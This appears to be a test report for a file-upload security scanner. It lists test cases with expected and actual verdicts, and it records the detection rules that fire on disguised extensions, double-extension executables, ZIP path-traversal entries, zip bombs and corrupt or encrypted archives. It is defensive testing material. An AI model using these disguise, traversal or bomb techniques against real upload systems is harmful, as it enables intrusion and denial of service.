| 1 | **NEG-001** | `NEG-001_clean.jpg` | 204B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 2 | **NEG-002** | `NEG-002_clean.png` | 208B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 3 | **NEG-003** | `NEG-003_clean.mp4` | 212B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 4 | **NEG-004** | `NEG-004_clean.docx` | 281B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 5 | **NEG-005** | `NEG-005_clean.xlsx` | 275B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 6 | **NEG-006** | `NEG-006_clean.pdf` | 14B | `pass` | `suspicious` | 20.0 | ✅ | MalformedStructure, PdfParseFailed |
|
||
| 7 | **NEG-007** | `NEG-007_clean.java` | 94B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 8 | **NEG-008** | `NEG-008_clean.py` | 73B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 9 | **NEG-009** | `NEG-009_clean.zip` | 285B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 10 | **NEG-010** | `NEG-010_clean.exe` | 104B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 11 | **NEG-011** | `NEG-011_clean.log` | 90B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 12 | **NEG-012** | `NEG-012_clean.csv` | 52B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 13 | **NEG-013** | `NEG-013_clean.eml` | 121B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 14 | **NEG-014** | `NEG-014_clean.dll` | 104B | `pass` | `suspicious` | 55.0 | ✅ | DangerousExecutableExtension, PeParseFailed |
|
||
| 15 | **NEG-015** | `NEG-015_clean.ttf` | 204B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 16 | **NEG-016** | `NEG-016_clean.dwg` | 206B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
| 17 | **NEG-017** | `NEG-017_4layer_nested.zip` | 142B | `pass` | `suspicious` | 35.0 | ✅ | MalformedStructure, ArchiveBroken |
|
||
| 18 | **NEG-018** | `NEG-018_clean.bat` | 71B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 19 | **NEG-019** | `NEG-019_clean.ps1` | 75B | `pass` | `suspicious` | 30.0 | ✅ | DangerousExecutableExtension |
|
||
| 20 | **NEG-020** | `NEG-020_clean.odt` | 277B | `pass` | `clean` | 0.0 | ✅ | - |
|
||
|
||
---
|
||
|
||
## 逐条详情
|
||
|
||
> 展开每条用例的 description / 命中规则详情 / 发现列表
|
||
|
||
### L0
|
||
|
||
#### ✅ L0-002 — `L0-002_png_normal.png`
|
||
|
||
- **描述**: 正常文件幻数识别-PNG
|
||
- **文件大小**: 58 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L0-004 — `L0-004_pdf_normal.pdf`
|
||
|
||
- **描述**: 正常文件幻数识别-PDF
|
||
- **文件大小**: 14 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=20.0, action=pass_with_flag)
|
||
- **判定理由**: 风险评分 20.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `medium` | `MalformedStructure` | 20.0 | PDF 尾部缺少交叉引用表或 startxref 标记 |
|
||
| `document` | `L2` | `low` | `PdfParseFailed` | 0.0 | PDF 解析失败:startxref not found |
|
||
|
||
#### ✅ L0-006 — `L0-006_disguise_jpg_pe.jpg`
|
||
|
||
- **描述**: jpg 后缀 + 实际 PE MZ 头
|
||
- **文件大小**: 104 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .jpg,实际内容为 MS-DOS executable, MZ for MS-DOS(.exe) |
|
||
| `structure` | `L0` | `critical` | `ExtensionMismatch` | 85.0 | 伪装扩展名:声明 .jpg,真实 .exe |
|
||
|
||
#### ✅ L0-007 — `L0-007_disguise_txt_pdf.txt`
|
||
|
||
- **描述**: 后缀伪装:txt后缀,实际PDF幻数
|
||
- **文件大小**: 14 B
|
||
- **预期**: `review`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .txt,实际内容为 PDF document, version 1.4(.pdf) |
|
||
| `structure` | `L0` | `medium` | `MalformedStructure` | 20.0 | PDF 尾部缺少交叉引用表或 startxref 标记 |
|
||
|
||
#### ✅ L0-008 — `L0-008_disguise_png_zip.png`
|
||
|
||
- **描述**: 后缀伪装:png后缀,实际ZIP幻数
|
||
- **文件大小**: 54 B
|
||
- **预期**: `review`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .png,实际内容为 ZIP 压缩包(已损坏)(.zip) |
|
||
| `structure` | `L0` | `medium` | `MalformedStructure` | 25.0 | ZIP/OOXML 包结构损坏: File is not a zip file |
|
||
|
||
#### ✅ L0-009 — `L0-009_double_ext_pdf_exe.pdf.exe`
|
||
|
||
- **描述**: 双扩展名伪装:report.pdf.exe
|
||
- **文件大小**: 104 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 双扩展名伪装,高风险
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DoubleExtension` | 35.0 | 文件名包含多个扩展名:L0-009_double_ext_pdf_exe.pdf.exe |
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `structure` | `L0` | `critical` | `DoubleExtension` | 90.0 | 双扩展名伪装:L0-009_double_ext_pdf_exe.pdf.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ L0-010 — `L0-010_double_ext_txt_ps1.txt.ps1`
|
||
|
||
- **描述**: 双扩展名伪装:data.txt.ps1
|
||
- **文件大小**: 10 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 双扩展名伪装,高风险
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DoubleExtension` | 35.0 | 文件名包含多个扩展名:L0-010_double_ext_txt_ps1.txt.ps1 |
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 |
|
||
| `structure` | `L0` | `critical` | `DoubleExtension` | 90.0 | 双扩展名伪装:L0-010_double_ext_txt_ps1.txt.ps1 |
|
||
|
||
#### ✅ L0-011 — `L0-011_double_ext_docx_js.docx.js`
|
||
|
||
- **描述**: 双扩展名伪装:note.docx.js
|
||
- **文件大小**: 11 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 双扩展名伪装,高风险
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DoubleExtension` | 35.0 | 文件名包含多个扩展名:L0-011_double_ext_docx_js.docx.js |
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.js |
|
||
| `structure` | `L0` | `critical` | `DoubleExtension` | 90.0 | 双扩展名伪装:L0-011_double_ext_docx_js.docx.js |
|
||
|
||
#### ✅ L0-012 — `L0-012_double_ext_xlsx_bat.xlsx.bat`
|
||
|
||
- **描述**: 双扩展名伪装:log.xlsx.bat
|
||
- **文件大小**: 21 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 双扩展名伪装,高风险
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DoubleExtension` | 35.0 | 文件名包含多个扩展名:L0-012_double_ext_xlsx_bat.xlsx.bat |
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bat |
|
||
| `structure` | `L0` | `critical` | `DoubleExtension` | 90.0 | 双扩展名伪装:L0-012_double_ext_xlsx_bat.xlsx.bat |
|
||
|
||
#### ✅ L0-013 — `L0-013_clean.ps1`
|
||
|
||
- **描述**: 干净 ps1 文件
|
||
- **文件大小**: 0 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.ps1
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 |
|
||
|
||
#### ✅ L0-014 — `L0-014_clean.bat`
|
||
|
||
- **描述**: 干净 bat 文件
|
||
- **文件大小**: 0 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.bat
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bat |
|
||
|
||
#### ✅ L0-015 — `L0-015_clean.cmd`
|
||
|
||
- **描述**: 干净 cmd 文件
|
||
- **文件大小**: 0 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.cmd
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.cmd |
|
||
|
||
#### ✅ L0-016 — `L0-016_clean.vbs`
|
||
|
||
- **描述**: 干净 vbs 文件
|
||
- **文件大小**: 0 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.vbs
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.vbs |
|
||
|
||
#### ✅ L0-017 — `L0-017_clean.js`
|
||
|
||
- **描述**: 干净 js 文件
|
||
- **文件大小**: 0 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.js
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.js |
|
||
|
||
#### ✅ L0-018 — `L0-018_zip_traversal.zip`
|
||
|
||
- **描述**: ZIP单级路径穿越:../test.txt
|
||
- **文件大小**: 137 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../evil_drop.txt
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `PathTraversal` | 50.0 | 归档内含路径穿越条目:../evil_drop.txt |
|
||
| `extractor` | `L0` | `critical` | `PathTraversalBlocked` | 50.0 | 已拦截路径穿越条目:../evil_drop.txt |
|
||
|
||
#### ✅ L0-019 — `L0-019_zip_deep_traversal.zip`
|
||
|
||
- **描述**: ZIP多级路径穿越:../../a.txt
|
||
- **文件大小**: 147 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 PathTraversal 命中:归档内含路径穿越条目:../../system_drop.txt
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `PathTraversal` | 50.0 | 归档内含路径穿越条目:../../system_drop.txt |
|
||
| `extractor` | `L0` | `critical` | `PathTraversalBlocked` | 50.0 | 已拦截路径穿越条目:../../system_drop.txt |
|
||
|
||
#### ✅ L0-020 — `L0-020_zip_bomb.zip`
|
||
|
||
- **描述**: ZIP炸弹42.zip
|
||
- **文件大小**: 2,553,622 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 压缩比异常,疑似压缩炸弹
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ArchiveBombSuspect` | 35.0 | 压缩比 1028.6:1 超过阈值 100:1,疑似压缩炸弹 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0000.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0001.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0002.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0003.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0004.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0005.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0006.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0007.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0008.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0009.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0010.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0011.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0012.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0013.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0014.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0015.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0016.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0017.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0018.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0019.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0020.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0021.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0022.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0023.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0024.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0025.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0026.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0027.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0028.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0029.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0030.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0031.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0032.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0033.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0034.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0035.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0036.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0037.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0038.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0039.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0040.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0041.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0042.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0043.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0044.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0045.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0046.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0047.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0048.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0049.dat 压缩比 1028.6:1 超过阈值,已跳过 |
|
||
|
||
#### ✅ L0-021 — `L0-021_small_bomb.zip`
|
||
|
||
- **描述**: 自制小型 zip 炸弹(50 成员 × 8KB STORED)
|
||
- **文件大小**: 409,802 B
|
||
- **预期**: `reject`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 压缩比异常,疑似压缩炸弹
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ArchiveBombSuspect` | 35.0 | 压缩比 1028.7:1 超过阈值 100:1,疑似压缩炸弹 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0000.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0001.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0002.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0003.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0004.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0005.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0006.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0007.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0008.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0009.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0010.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0011.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0012.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0013.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0014.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0015.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0016.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0017.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0018.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
| `extractor` | `L0` | `high` | `ArchiveBombBlocked` | 35.0 | 成员 bomb_0019.dat 压缩比 1028.7:1 超过阈值,已跳过 |
|
||
|
||
#### ✅ L0-022 — `L0-022_3layer_nested.zip`
|
||
|
||
- **描述**: 3层无害嵌套ZIP
|
||
- **文件大小**: 365 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L0-023 — `L0-023_5layer_nested.zip`
|
||
|
||
- **描述**: 5 层无害嵌套 ZIP
|
||
- **文件大小**: 952 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L0-024 — `L0-024_encrypted.zip`
|
||
|
||
- **描述**: 加密 ZIP(标记待验证)
|
||
- **文件大小**: 144 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=20.0, action=pass_with_flag)
|
||
- **判定理由**: 风险评分 20.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `medium` | `EncryptedArchive` | 20.0 | 归档内含加密成员 1 个(bit0 flag 置位),无法扫描内部内容 |
|
||
| `extractor` | `L0` | `low` | `ExtractMemberFailed` | 0.0 | 成员 secret.txt 解压失败:File <ZipInfo filename='secret.txt' compress_type=deflate filemode='?rw-------' file_size=26 compress |
|
||
|
||
#### ✅ L0-025 — `L0-025_corrupt_zip.zip`
|
||
|
||
- **描述**: 截断损坏 ZIP 头
|
||
- **文件大小**: 59 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=35.0, action=manual_review)
|
||
- **判定理由**: 风险评分 35.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `medium` | `MalformedStructure` | 25.0 | ZIP/OOXML 包结构损坏: File is not a zip file |
|
||
| `extractor` | `L0` | `medium` | `ArchiveBroken` | 10.0 | ZIP 结构损坏:File is not a zip file |
|
||
|
||
#### ✅ L0-026 — `L0-026_corrupt_direntry.zip`
|
||
|
||
- **描述**: 损坏ZIP目录项
|
||
- **文件大小**: 130 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=25.0, action=pass_with_flag)
|
||
- **判定理由**: 风险评分 25.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `medium` | `MalformedStructure` | 25.0 | ZIP 尾部 EOCD 后存在 12 字节多余数据,疑似篡改或假损坏 |
|
||
|
||
#### ✅ L0-027 — `L0-027_long_filename.zip`
|
||
|
||
- **描述**: 压缩包内 200 字符超长文件名
|
||
- **文件大小**: 519 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=5.0, action=pass_with_flag)
|
||
- **判定理由**: 风险评分 5.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `low` | `LongFilename` | 5.0 | 归档内存在超长文件名(>120 字符)1 个,可能规避扫描或探测边界 |
|
||
|
||
